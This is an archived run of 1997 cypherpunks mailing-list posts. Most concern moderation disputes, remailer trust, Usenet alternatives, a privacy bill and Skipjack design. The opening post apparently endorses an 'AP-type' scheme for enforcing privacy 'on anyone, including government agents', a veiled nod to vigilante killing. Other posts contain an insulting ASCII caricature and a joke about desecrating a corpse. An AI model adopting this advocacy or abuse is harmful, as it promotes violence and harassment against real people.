>Tel: 212-468-4989   Fax: 212-468-4888   E-mail: jezor@newmedialaw.com
>-----------------------------Cut here-------------------------------
>
>Congress Tackles Internet Privacy
>        Recently, there has been significant press coverage over real and
>rumored revelations of personal information such as Social Security numbers by
>online services, including the alleged availability (later shown to be untrue)
>of mothers' maiden names and Social Security numbers on LEXIS' P-Trak database,
>and various governmental bodies have held hearings on issues of online privacy.
>On January 7, 1997, Representative Bruce F. Vento (D. MN) introduced the
>"Consumer Internet Privacy Protection Act of 1997," (H.R. 98)  This bill
>provides that "an interactive computer service shall not disclose to a third
>party any personally identifiable information provided by a subscriber to such
>service without the subscriber's prior informed written consent." 

Gee, this sounds great!  Sounds like it would become illegal for ISPs to 
"cooperate" (aka:  getting strongarmed) by the local thugs (cops) to reveal 
information about subscribers.   Except, as is so often the case, they seem 
to always figure out ways to explain that cooperation with cops was somehow 
not covered in the law above.

One of the non-obvious dangers of having laws such as this apply to ISPs is 
that they increase the likelihood that legal force could be applied to them 
in order to get them to sell-out their customers.   And, obviously, the 
average citizen isn't going to have a lot of luck getting these laws 
ENFORCED unless he has friends in the prosecutor's office.


One of the numerous advantages of an AP-type system is that a person will be 
able to make a violation of his privacy a crime regardless of whether the 
powers-that-be agree.  Also, he can enforce that "law" on anyone, including 
government agents, without the cooperation of the prosecutor.

Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Grant <mark@unicorn.com>
Date: Fri, 7 Feb 1997 10:39:37 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: My Departure, Moderation, and "Ownership of the List"
In-Reply-To: <199702032259.OAA05072@toad.com>
Message-ID: <Pine.3.89.9702062343.C128-0100000@marui>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 3 Feb 1997, Adam Back wrote:

> My vote is for renaming:
> 	`cypherpunks-unedited' -> `cypherpunks'
> and	`cypherpunks' -> `cypherpunks-edited'

I have to agree. I'm only a 'cypherpunk' in the sense of setting up
various crypto-related Web sites and writing and giving away thousands of
lines of cryptography code rather than regularly posting to the list, but
my main concern is that the default for the list has gone from anarchy to
moderation. 

If the users of the list truly believe in anarchistic solutions to
problems then the moderated list should exist *in addition* to the
unmoderated list, rather than replacing it. In a truly anarchistic society
the cypherpunks list would be an unmoderated forum full of spam and
opinions related in some way to the list topics and numerous moderators
would charge us for their versions of the list in which they simply pass
on the messages they like. We could then choose a moderator whose
interests are similar to ours and pay them for providing us with
apropriate information. IMHO this is the way that mailing lists and Usenet
are likely to evolve as they become too large for us to read and react to
all posts; we should be in the vanguard of creating appropriate solutions
to the problems. 

Providing a moderated list which saves me from dowloading spam is a
worthwhile exercise which is potentially valuable to me (and I'm grateful
to Sandy for offering such a service for free), but I do not believe that
it should be the default for new subscribers.

	Mark

|-----------------------------------------------------------------------|
|Mark Grant M.A., U.L.C.	  	       EMAIL: mark@unicorn.com  |
|WWW: http://www.unicorn.com/	  	       MAILBOT: bot@unicorn.com	|
|-----------------------------------------------------------------------|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Michael H. Warfield" <mhw@wittsend.com>
Date: Thu, 6 Feb 1997 20:47:40 -0800 (PST)
To: zinc@zifi.genetics.utah.edu (zinc)
Subject: Re: lead remailer is shut down
In-Reply-To: <199702070341.TAA07917@toad.com>
Message-ID: <m0vsiE1-0001HhC@wittsend.com>
MIME-Version: 1.0
Content-Type: text/plain


zinc enscribed thusly:

> The following message is a courtesy copy of an article
> that has been posted as well.

> -----BEGIN PGP SIGNED MESSAGE-----

> hi,

> i came in today to find they (university system admins) had pulled the
> plug on my machine.  this is all because some luser spammed usenet
> using the remailer on my machine.  thanks a lot.

	Yeah?  Did you find his ass?  Kindly forward the coordinates
of the body so we can desecrate the corpse!

> so, the lead remailer is gone for good; it lasted almost exactly one
> year. 

> it was nice while it lasted.

	Never used it but it is always sad to see the passing of a network
resource due to the abuse by cretins with all the morals of an alley cat
in heat...

> - -patrick finerty
> biochem grad student, u of utah

> - -- 
> "Those that give up essential liberty to obtain a little temporary
> safety deserve neither liberty nor safety." -- Benjamin Franklin (1773)
> 		   finger zinc-pgp@zifi for PGP key
> zifi runs LINUX 2.0.28  -=-=-=WEB=-=-=->  http://zifi.genetics.utah.edu
> 
> -----BEGIN PGP SIGNATURE-----
> Version: 2.6.2
> Comment: Processed by Mailcrypt 3.4, an Emacs/PGP interface
> 
> iQCVAwUBMvqXqE3Qo/lG0AH5AQHsQgP+LJFyMCrYnackXVZqMuDRt2vgliYeWh2L
> 6i3IgfCqMSxfScyLFQXMP7cRJT1oNWFEilmcBLURWOqK/hy4sAufRaNKNw/rvcOE
> 4qYFyxm3IDwF3vqdgDnaj5LWISWxaVrglHL8wNKNBQDr1Eq6XVZiqYPT5UC00klt
> clfXhusEPPg=
> =0fse
> -----END PGP SIGNATURE-----

	Mike
-- 
 Michael H. Warfield    |  (770) 985-6132   |  mhw@WittsEnd.com
  (The Mad Wizard)      |  (770) 925-8248   |  http://www.wittsend.com/mhw/
  NIC whois:  MHW9      |  An optimist believes we live in the best of all
 PGP Key: 0xDF1DD471    |  possible worlds.  A pessimist is sure of it!




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Pearson <john@cognac.apana.org.au>
Date: Thu, 6 Feb 1997 10:45:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "alt.cypherpunks" people?
In-Reply-To: <199702050029.QAA08873@toad.com>
Message-ID: <m0vsTo4-000JGWC@cognac.apana.org.au>
MIME-Version: 1.0
Content-Type: text/plain


Adam Back:
> 
> What do people think of starting an alt.cypherpunks USENET newsgroup?
> 
> It has some advantages:
> 
> [...]
> 
> And some disadvantages...
> 
>  1. Cross-posting in USENET is a problem, especially in alt newsgroups
> 
>  2. Commercial spam is a problem with newsgroups
> 

You may want to check out alt.sysadmin.recovery; they use the 
moderation mechanism to produce a group that is unmoderated, 
but spam-resistant.  It would be impolite to describe the technique,
but it should be apparent if you browse a few articles.

Another way to avoid crossposts is to have a robomoderated group,
where a bot automatically rejects articles which are crossposted,
and approves all others.

>  3. USENET distribution is likely less efficient of overall bandwidth
> 
>  4. News propogation times are often poor (Exeter univ. receives news
>     about a week late) This is a real killer in my view.  I have
>     another news server I can access at the moment, but not everyone
>     may have access to a reasonable news server.
> 
>  5. News access is more complex for some people.  Some alt newsgroups
>     are not carried by some servers.  Perhaps news-to-mail and
>     mail-to-news gateway would solve these problems.
> 
>  6. Some have argued in the past on this topic that the mailing list
>     medium is better because it is more exclusive, as it requires more
>     technical competence, and an active enough interest to subscribe.
>     This is an elitist argument.  Perhaps it is relevant though, if we
>     are trying to maintain a mailing list where technical discussions on
>     how to improve privacy are to take place.  I wouldn't call this
>     attitude censorship though.
> 

7. Usenet traffic, at least in remote regions (looks around), is often 
   assigned less bandwidth/lower priority than mail, so a reader may
   not see all of the messages (AFAICT, I normally see about half or 
   less of what actually gets posted to the groups I read), even if the 
   group is "well propagated".

>[...]

John P.
john@huiac.apana.org.au






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Thu, 6 Feb 1997 23:59:56 -0800 (PST)
To: Sandy Sandfort <sandfort@crl.com>
Subject: Re: anonymous remailers
In-Reply-To: <v03007802af20705f7eae@[207.167.93.63]>
Message-ID: <v03007806af2091f76356@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 11:06 PM -0800 2/6/97, Sandy Sandfort wrote:

>Currently, there are three lists.  It looks as though the message
>in question appeared on the Unedited list.  This is NOT the same
>as the Flames list.

Well, I only subscribe to the Flames list--there is no doubt about this.

In any case, what is the meaning of a message going only to the "Unedited"
list?  A message that goes to the Unedited list but _not_ to the Flames
list must surely go to the Main list, right?

That is,

MAIN list + FLAMES list = UNEDITED list

Isn't this the way it works, that the Unedited list is the union of the
MAIN and FLAMES lists, which are disjoint?

So, since the Vulis message on anonymous remailers did not appear on the
MAIN list, it must have appeared on the FLAMES list.


>I don't recall where I sorted that particular post to after I
>read it on the Unedited list.  If it went to the "wrong" list,
>my apologies to the author.  As I indicated before, I don't think
>a 100% solution is possible, but I think I'm running in the high
>90s under the criteria I enunciated.  Not perfection, but a
>definite improvement over the prior condition.

You keep saying this ("the list is better, the list is better, the list is
better"). Repeating it enough may make it true, for you.

In any case, my point is that there were no "flame" triggers in either of
the messages you sent to the Flames list. Unless you are rejecting based on
your opinion of the views expressed, these messages belong on the main list.

Sandy, you are a sloppy moderator. An incompetent, in fact. Get better fast
or knock off the pretense that you know better than we do what Cypherpunks
are ready to read.

--Tim May


Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Fri, 7 Feb 1997 00:03:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: remailer-operators DEA agents?
In-Reply-To: <199702070710.XAA13629@toad.com>
Message-ID: <v03007807af2093ecd8f4@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



Again, I am only on the Flames list. So why was this message sent to the
Flames list? Because someone responded to a Vulis post? Is a response to a
Banned Message now grounds for rejection?

Here's the message sent to the Flames pile. Although the anonymous author
did not add much, neither the original message nor his/her one line
response was a "flame" or "insult." Hence it should not have been rejected.


At 5:47 AM +0000 2/7/97, Secret Squirrel wrote:
>Dr.Dimitri Vulis KOTM wrote:
>> c.musselman@internetmci.com (Charley Musselman) writes:
>> > C'punks --
>> >     When I told a friend about the alt.drugs.pot cultivation newsgroup
>> > and suggested that he use an anonymous remailer to post to the group,
>> > he laughed and said, "Who do you suppose runs the remailers?  ATF,
>> > FBI, DEA, that's who!"  Gee, it makes sense to this paranoid.  Does
>> > anyone know the answer?  Specifically, how can we choose a trusted
>> > remailer?
>>
>> Even if the feds are not directtly involved, the so-called "cypher punk"
>> remailers are run by people who should not be trusted.  Check out their
>> remailer-operators list: it's full of announcements that some specific
>> person posted something via the remailer that the operator didn't like.
>
>Examples, please?


Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Fri, 7 Feb 1997 00:23:06 -0800 (PST)
To: Sandy Sandfort <sandfort@crl.com>
Subject: Re: My messages not appearing on either of the lists?
In-Reply-To: <v03007801af20611fe990@[207.167.93.63]>
Message-ID: <v03007808af2096bc821f@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 10:57 PM -0800 2/6/97, Sandy Sandfort wrote:

>On Thu, 6 Feb 1997, Timothy C. May wrote:
>
>> My posting seem to be going into Limbo, being sent neither to
>> the Cypherpunks Heaven Sandy administers nor to the flames of
>> the Cypherpunks Hell. At least this is how things now appear.
>
>It doesn't look familiar.  I don't have any idea what happened.
>Can anyone tell me if they saw it on the unedited list?  That's
>where I would have read it.

I reproduced the message in my message earlier tonight. Although there are
no headers to show routing, since I sent it but never received it, I can
assure you it was marked by Eudora as "Sent," and my ISP has reported no
delivery problems of any sort. Thus, based on past experiences with
thousands of such sendings, I surmise with great certainty that my message
was mailed successfully to cypherpunks@toad.com. What happened to if after
that I cannot say, but I suspect something related to the "Moderation"
process, by Ockham's Razor.

There seem to be more "lost" messages than before this "Moderation" thing
began. I literally sent thousands of messages (maybe tens of thousands...)
and cannot recall a "lost" message. Now, it's happened to me a couple of
times that I can recall, and to at least some others, based on recent
messages.

I thought the basic equation was:

UNEDITED = MAIN + FLAMES,  with MAIN and FLAMES being disjoint.

It's looking now more like:

UNEDITED = MAIN + FLAMES +  DROPPED/LOST

Possibly the fault lies in the software Sandy is using to sort the
messages, possibly elsewhere. Whatever, this needs to be fixed immediately,
or the experiment abandoned immediately.

--Tim May


Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Fri, 7 Feb 1997 00:07:34 -0800 (PST)
To: tcmay@got.net
Subject: Re: anonymous remailers
In-Reply-To: <Pine.SUN.3.91.970206225911.3853F-100000@crl4.crl.com>
Message-ID: <199702070734.BAA00348@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


[I am sending a copy of my article to Tim just to make sure]

Sandy Sandfort wrote:
> 
> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>                           SANDY SANDFORT
>  . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
> 
> C'punks,
> 
> On Thu, 6 Feb 1997, Timothy C. May wrote:
> 
> > Why was this message (attached below) sent to the "Flames" list? (*) It
> > contains an assertion that the remailer operators are colluding to reveal
> > identities, and this is surely a fit topic for discussion.
> > 
> > (* I have temporarily subscribed to the Flames list to see just what it is
> > being filtered or censored by Sandy. I received this message, and it had
> > the header "Sender: owner-cypherpunks-unedited@toad.com," thus I surmise it
> > is a "Flames" message. It would help, by the way, if messages were more
> > clearly labelled by the Moderator as to which bucket he placed them in.)
> 
> Currently, there are three lists.  It looks as though the message
> in question appeared on the Unedited list.  This is NOT the same
> as the Flames list.  
>  
> I don't recall where I sorted that particular post to after I
> read it on the Unedited list.  If it went to the "wrong" list,
> my apologies to the author.  As I indicated before, I don't think

I am attaching Vulis's posting below, so that the mistake could be
corrected.

Judging by the dates in the headers, it went to flames list in
3 seconds after arrival to toad.com.

That makes me think that somehow it got routed there without human
involvement.

> a 100% solution is possible, but I think I'm running in the high
> 90s under the criteria I enunciated.  Not perfection, but a 
> definite improvement over the prior condition.

I see three problems with the current state of the list: 

	1) There is no charter and no criteria that I am aware of, so 
	   your 90% statement is meaningless
	2) Moderation policy has not been set (or voted upon) by the readers,
	   therefore it was not optimised to serve the readers
	3) Crypto-relevant posts, not containing any flames, get
	   rejected.

>From cypherpunks-errors@toad.com  Thu Feb  6 22:20:35 1997
Return-Path: <cypherpunks-errors@toad.com>
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	for cypherpunks@toad.com
To: cypherpunks@toad.com
Subject: Re: anonymous remailers
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Comments: All power to the ZOG!
Message-Id: <iJkq2D46w165w@bwalk.dm.com>
Date: Thu, 06 Feb 97 22:22:05 EST
In-Reply-To: <32fa39d8.16371604@mail-relay.internetmci.com>
Organization: Brighton Beach Boardwalk BBS, Forest Hills, N.Y.
Sender: owner-cypherpunks@toad.com
Precedence: bulk
Status: RO

c.musselman@internetmci.com (Charley Musselman) writes:

> C'punks --
> 	When I told a friend about the alt.drugs.pot cultivation newsgroup
> and suggested that he use an anonymous remailer to post to the group,
> he laughed and said, "Who do you suppose runs the remailers?  ATF,
> FBI, DEA, that's who!"  Gee, it makes sense to this paranoid.  Does
> anyone know the answer?  Specifically, how can we choose a trusted
> remailer?

Even if the feds are not directtly involved, the so-called "cypher punk"
remailers are run by people who should not be trusted.  Check out their
remailer-operators list: it's full of announcements that some specific
person posted something via the remailer that the operator didn't like.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Graves <llurch@networking.stanford.edu>
Date: Fri, 7 Feb 1997 01:48:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: ANNOUNCEMNT: February 1997 Cypherpunks Bay Area Meeting
In-Reply-To: <199702052103.NAA13723@west.toad.com>
Message-ID: <Pine.GUL.3.95.970207010629.5960B-100000@Networking.Stanford.EDU>
MIME-Version: 1.0
Content-Type: text/plain


A couple things need underscoring: 

On Wed, 5 Feb 1997, Hugh Daniel wrote:

> Agenda: 11:++	setup, gossip, face feeding etc.
> 	12:00	USG Export 'Laws' of the week, Roz Thomsen, PGP inc.
        ^^^^^
Thomsen needs to leave early, so we will make every effort to "start on
time."

> 	  We have a wonderful space to do demos in this month, Turing
> 	Auditorium has Internet, projections screens, audio amps and
                       ^^^^^^^^
I.e., Ethernet, either 10BaseT or coax, no firewall. Please show up by 11:30
if you want an IP address. Hooked up to the projectors are a PowerMac, a
Windows 95 box, and I might lug my Linux box over, too. One analog phone, in
case anyone wants one. I suppose we could still do live RealAudio and/or
CU-SeeMe iff someone feels they have something to say of such earth-
shattering importance that the whole net must hear. Otherwise, I'd rather
keep the distracting toys out of the way.

-rich
 www.stanford.edu/~llurch





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Fri, 7 Feb 1997 02:15:09 -0800 (PST)
To: ISP_Ratings <boursy@earthlink.net>
Subject: Re: WANTED: Tolerant, anonymity-friendly news admins
In-Reply-To: <32FA7951.38A3@earthlink.net>
Message-ID: <Pine.LNX.3.95.970207050959.17740D-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 6 Feb 1997, ISP_Ratings wrote:

> lcs Remailer Administrator wrote:
> > 
> > Because of recent attacks on the remailer network and mail2news
> > gateways, I may loose access to at least one of the news servers I
> > currently feed news to from my mail2news gateway.
> > 

Who attacked the network and for what reason?

> > If you are a news administrator, believe in free speech and anonymity,
> > and you would like to help the cause, please consider giving transfer
> > (aka "IHAVE" or "hosts.nntp") privileges to this machine.  You will
> > not be the only server, and so do not need to worry about being the
> > point of entrance of mail2news articles to Usenet.
> > 
> > Please contact me if you can help.  Thank you.
> > 

Well, just who is cutting you off and for what reason?
And what is their telephone number?

> > For those who oppose the existence of mail2news gateways, you should
> > know that we are taking steps to limit the abuse.  

Just what is your definition of "abuse?"

However, doing so
> > without in any way limiting articles that abide by the usage policy is
> > tricky, and must be done carefully.  Please be patient.
> 
> 
>   I'm writing from the Freedom Knights list but am in no way
> representing them.
>   
>   What exactly do you mean by 'taking steps to limit the abuse'?  
> Personally I think much of what is called abuse is nonsense and
> that all posts, with the exception of cancels/NoCems should be
> propogated regardless of content (including what is currently
> referred to as spam).
> 
>   Also--could you forward to the Freedom Knights list a copy of
> your 'usage policy' and impressions on the Freedom Knights two
> FAQs.
> 
>   Thanks,
> 
>   Steve
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@squirrel.owl.de>
Date: Thu, 6 Feb 1997 22:47:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: remailer-operators DEA agents?
Message-ID: <19970207054708.10191.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> c.musselman@internetmci.com (Charley Musselman) writes:
> > C'punks --
> >     When I told a friend about the alt.drugs.pot cultivation newsgroup
> > and suggested that he use an anonymous remailer to post to the group,
> > he laughed and said, "Who do you suppose runs the remailers?  ATF,
> > FBI, DEA, that's who!"  Gee, it makes sense to this paranoid.  Does
> > anyone know the answer?  Specifically, how can we choose a trusted
> > remailer?
>
> Even if the feds are not directtly involved, the so-called "cypher punk"
> remailers are run by people who should not be trusted.  Check out their
> remailer-operators list: it's full of announcements that some specific
> person posted something via the remailer that the operator didn't like.

Examples, please?




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Fri, 7 Feb 1997 07:14:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Govt & cyberspace
In-Reply-To: <Pine.GSO.3.95.970206215534.234F-100000@well.com>
Message-ID: <32FB468C.68C6@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Declan McCullagh wrote:
> I find your "distributed democracy" interesting, except that it would
> allow scant time for deliberation. Think of it this way: don't you
> think the majority of Americans would have voted to pass the CDA?
> Or worse? Or restrictions on domestic crypto? Or worse?
> Democracy generally means majoritarian rule. The Bill of Rights is an
> anti-majoritarian document. It protects the rights of political or
> religious minorities. I fear that electronic "click here to vote"
> democracy would undermine the Bill of Rights even more.

You spoke a key phrase when you said "scant time".  When I was in
the Perot camp, I saw some direct "democracy" in action, and it was
pitiful how the little folks could be herded into voting this way
and that.  OTOH, this subject deserves more in-depth analysis, and
a good starting point could be the California referendums (Prop. 209,
etc.), followed on by Supreme Court decisions saying OK, not OK, and
so on.  That system provides a good mix of people having input and
proper Constitutional judicial review.

One of the good factors is the pamphlets the state sends out to voters
prior to the election, with a decent analysis of the issues from
opposing points of view.  Not perfect to be sure, but a good start.

> Dale Thorn writes:
> I wish for once and for all someone would delineate this "democracy"
> thing from a true, distributed democracy, where every individual is
> required to participate equally, and no narrow interests can co-opt
> the vote the way they do in the kind of "democracy" Declan mentions.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: winsock@rigel.cyberpass.net (WinSock Remailer)
Date: Fri, 7 Feb 1997 04:19:54 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Sphere packings
Message-ID: <199702071219.EAA26850@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



Dickhead Vermin K[ondom]OTM has been a source of endless
embarassments to his sympathizers on and off the net.

       _  O     O  _
        \-|-\_/-|-/  Dickhead Vermin K[ondom]OTM
         /^\   /^\
        ^^ ^^ ^^ ^^






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Chuck Fender <chuck@wazoo.com>
Date: Fri, 7 Feb 1997 08:21:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: anonymous remailers
In-Reply-To: <199702062314.PAA02544@toad.com>
Message-ID: <3.0.1.32.19970207075655.006cd9fc@wazoo.com>
MIME-Version: 1.0
Content-Type: text/enriched

-----BEGIN PGP SIGNED MESSAGE-----

At 05:40 PM 2/6/97 -0500, you wrote:
>
>c.musselman@internetmci.com (Charley Musselman) writes:
>> C'punks --
>>         When I told a friend about the alt.drugs.pot cultivation newsgroup
>> and suggested that he use an anonymous remailer to post to the group,
>> he laughed and said, "Who do you suppose runs the remailers?  ATF,
>> FBI, DEA, that's who!"  Gee, it makes sense to this paranoid.  Does
>> anyone know the answer?  Specifically, how can we choose a trusted
>> remailer?
>
>The solution is not to choose a trusted remailer, but to choose a
>group of remailers and send your message through each one

I run an anonymous remailer. I have a mixmaster type at mix@wazoo.com nd a
cypherpunk type at remailer@wazoo.com. Also, there is a WWW interface at
http://www.wazoo.com/~remailer.
I know that my system doesn't keep any recorders except number of messages
that go through. I am a "secure remailer". Before I set up the remailer, I
did a lot of soul searching, knowing that somewhere along the road I could
help a "baby raper" or something else I find morally objectionable. I came to
the conclusion, and I still think it is the right conclusion, that the public
service offered by an anonymous remailer far outweighs the disadvantages of
potentially helping someone I personally find objectionable.
Setting up a remailer, for someone that is already running a domain, is easy
enough to be almost trivial. With the explosion of domains the internet has
seen in the past couple of years, at least some of the remailers have to be
honest and not fronts for the DOJ, FBI, and whatever other alphabet
orginizations...
Obviously, you are thinking that any FBI agent that wanted to could post
this exact message, and YOU ARE RIGHT!
Take advantage of a string of remailers. Use proper encryption, so that none
of them know more than the next hop. Make sure you vary the order of
remailers you go through with each message. 
Being cautious, you can be almost 100% certain your message is anonymous.

Chuck
Sys Admin...
Wazoo's Computers
======================================
PGP key for remailer@wazoo.com available from all public key servers of by
fingering: remailer@wazoo.com...help file available by sending mail to
remailer@wazoo.com with a subject of remailer-help
======================================
For those that missed or already deleted the list, here are some places to
find more about remailers:
http://WWW.CSUA.Berkeley.EDU/cypherpunks/remailer/
http://www.stack.nl/~galactus/remailers/index-anon.html
http://www.cs.berkeley.edu/~raph/remailer-list.html 

-----BEGIN PGP SIGNATURE-----
Version: 4.5
Comment: Chuck Fender <chuck@wazoo.com> Sys Admin for Wazoo's Computers

iQCVAgUBMvtCni/mzwsxwvO5AQGbjgP/d8YfoPxHnSG4Gu6G/3Vx7GcPFK6DBj4Z
FtdoNdQUgWFrMK270Ep6dz5wBIGiEJrPNpiMJQJl2mt4GRSP4RTT3zWy1T8ULclr
wFnywwjieMFxyz4JBBGbyBssNZM2OqUSJIyMFXWdmQyXTKNOXqxnW9oMOu82QqLD
TuHUSUaxrYU=
=rJFq
-----END PGP SIGNATURE-----


*****************************************
*          Wazoo's Computers            *
* Alamogordo's Internet Access Provider *
*           (505) 434-5090    *
*****************************************


From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Fri, 7 Feb 1997 08:36:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: My messages not appearing on either of the lists?
In-Reply-To: <199702070655.WAA12884@toad.com>
Message-ID: <199702071636.IAA26298@netcom19.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim May writes:

> My posting seem to be going into Limbo, being sent neither to the
> Cypherpunks Heaven Sandy administers nor to the flames of the Cypherpunks
> Hell. At least this is how things now appear.

> I sent the message below to the list this morning (Thursday) at 8:43 a.m.
> PST. As of tonight, 12 hours later, I haven't seen it on either the
> Singapore Web site--last archived 30 minutes ago--or on the "Flames" list
> to which I have temporarily subscribed (to see what Sandy counts as a
> "flame").

Now that a few weeks have passed, I have decided that moderation delays
are the most annoying feature of the new experiment.  I am subscribed to 
the unedited list under another account, and its almost instantaneous
traffic is in great contrast to the time required for posts to trickle
through the Sandfort-Bot. 

> By the way, I noted that many of the messages which appeared at the
> Singapore Web archive site have dates much later than mine, including
> several dated at least 8-10 hours after my message. Likewise, some of the
> Flames messages are dated much later than my message.

Messages apparently do not get moderated in the order in which they 
are received.  Some messages take a very long time, as other later
messages pass them by and are posted to the list.  Again, I have no
explanation for this unusual behavior.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 7 Feb 1997 01:40:19 -0800 (PST)
To: shamrock@netcom.com
Subject: Skipjack uses Elliptic curve? (was Re: Moderation [Tim,Sandy])
In-Reply-To: <199702040156.RAA09627@toad.com>
Message-ID: <199702070911.JAA00127@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Lucky Green <shamrock@netcom.com> wrote:
> [...]. How many of you remember the anonymous message posted to this
> list revealing that Skipjack is an elliptic curve cipher? [One of the most
> respected names in cryptography confirmed this to me in private
> conversation. No, the person was not privy to the secret specs. The person
> didn't need to be. :-]

What aspect of Skipjack family is Elliptic curve?

Skipjack itself I thought was a symmetric key block cipher, with 80
bit keys and 64 bit block size.

The key escrow designs (clipper chip and family) included several
additions:

1. check sum to prevent LEAF (Law Enforcement Access Field) forgery
   (16 bits, which is not enough as Matt Blaze demonstrated)

2. government access copy of chip's serial number encrypted with LE
   family key in LEAF 

3. copy of session key encrypted with unit's escrow key in LEAF (the
   escrow key is the key that is stored in the government database
   indexed by chip serial number - the database which is split between
   the two escrow agents).

4. hardware random number key generation

5. undisclosed key exchange mechanism

6. are DSS signatures used?

Presumably the Elliptic curve is for key exchange?  Is there something
about the design which implies Ellitpic curve must be the key exchange
mechanism used?

Another possible area for public key, if they had it on chip, would be
to use public key encryption for the encryption of the serial number.
Otherwise, when the chip is reverse engineered the LE family key would
allow traffic analysis of all clipper traffic.  Public key would
prevent this.

(According to Ross Anderson's paper on tamper proof hardware, at least
one chip manufacturer has reverse engineered the clipper chip)

> If nobody cares about the leaks, why do we need to provide a forum for
> them? Besides, there are other fora that could be used. sci.crypt or
> Coderpunks are both good places to post "found" code.

It is true that sci.crypt and coderpunks do make alternative fora.
Somebody else pointed out that rc4.c was posted to sci.crypt first.  I
think they are correct, and in fact if I remember, it was forged as
from David Sterndark <david@sterndark.com> or some other play on David
Sternlight's email address.

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 7 Feb 1997 01:40:16 -0800 (PST)
To: dlv@bwalk.dm.com
Subject: Re: Geiger and long, unreadable lines
In-Reply-To: <199702050728.XAA18196@toad.com>
Message-ID: <199702070917.JAA00129@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Dimitri Vulis <dlv@bwalk.dm.com> writes on cpunks-unedited:
> Adam Back <aba@dcs.ex.ac.uk> writes:
> > [DH key gen questions] 
> >
> > (this isn't cpunks, this is cpunks-flames, so your non-crypto pledge
> > shouldn't hold, besides Sandy has a stated policy of killing the whole
> > thread, so I thought it amusing to continue your crypto relevance in
> > moving on to technical topics rather than political)
> 
